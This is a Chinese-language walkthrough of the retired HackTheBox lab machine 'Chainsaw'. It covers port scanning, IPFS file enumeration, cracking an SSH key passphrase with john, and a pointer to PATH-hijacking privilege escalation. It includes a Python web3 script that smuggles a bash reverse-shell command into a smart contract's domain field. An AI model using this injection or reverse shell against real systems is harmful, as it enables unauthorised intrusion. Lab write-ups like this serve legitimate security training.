HTB-靶机-Chainsaw
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.142
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.142 -o ./Chainsaw-autorecon
快速扫描 ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.142 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -sC -sV -p$ports 10.10.10.142
开放了3个端口,通过分析使用下面exploit直接反弹一个低权限shell
#!/usr/bin/python3 from web3 import Web3, HTTPProvider import json w3 = Web3(HTTPProvider('http://10.10.10.142:9810')) w3.eth.defaultAccount = w3.eth.accounts[0] toAddress = open("address.txt", "r").read().rstrip() abi_json = json.loads(open("WeaponizedPing.json", "r").read()) abi = abi_json['abi'] contract = w3.eth.contract(abi = abi, address = toAddress) print("Current Domain: {}".format(contract.functions.getDomain().call())) malicious_domain = "qq.com ; bash -c 'bash -i >& /dev/tcp/10.10.14.3/8833 0>&1'" contract.functions.setDomain(malicious_domain).transact() print("New Domain: {}".format(contract.functions.getDomain().call()))
拿到反弹shell之后在当前目录下发现存在ipfs文件夹,通过遍历查看所有文件的内容得到一个base64编码的文件内容
ipfs refs local 循环读取文件内容 ipfs refs local | while read -r file; do ipfs ls $file 2>/dev/null; done
解码之后发现是个加密密钥文件,需要使用john进行破解
/usr/share/john/ssh2john.py bobby.key >hash john hash -w=/usr/share/wordlists/rockyou.txt --fork=4
得到密码
jackychain (bobby.key)
通过分析发现可以使用PATH劫持直接提权,具体参考文档:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
迷茫的人生,需要不断努力,才能看清远方模糊的志向!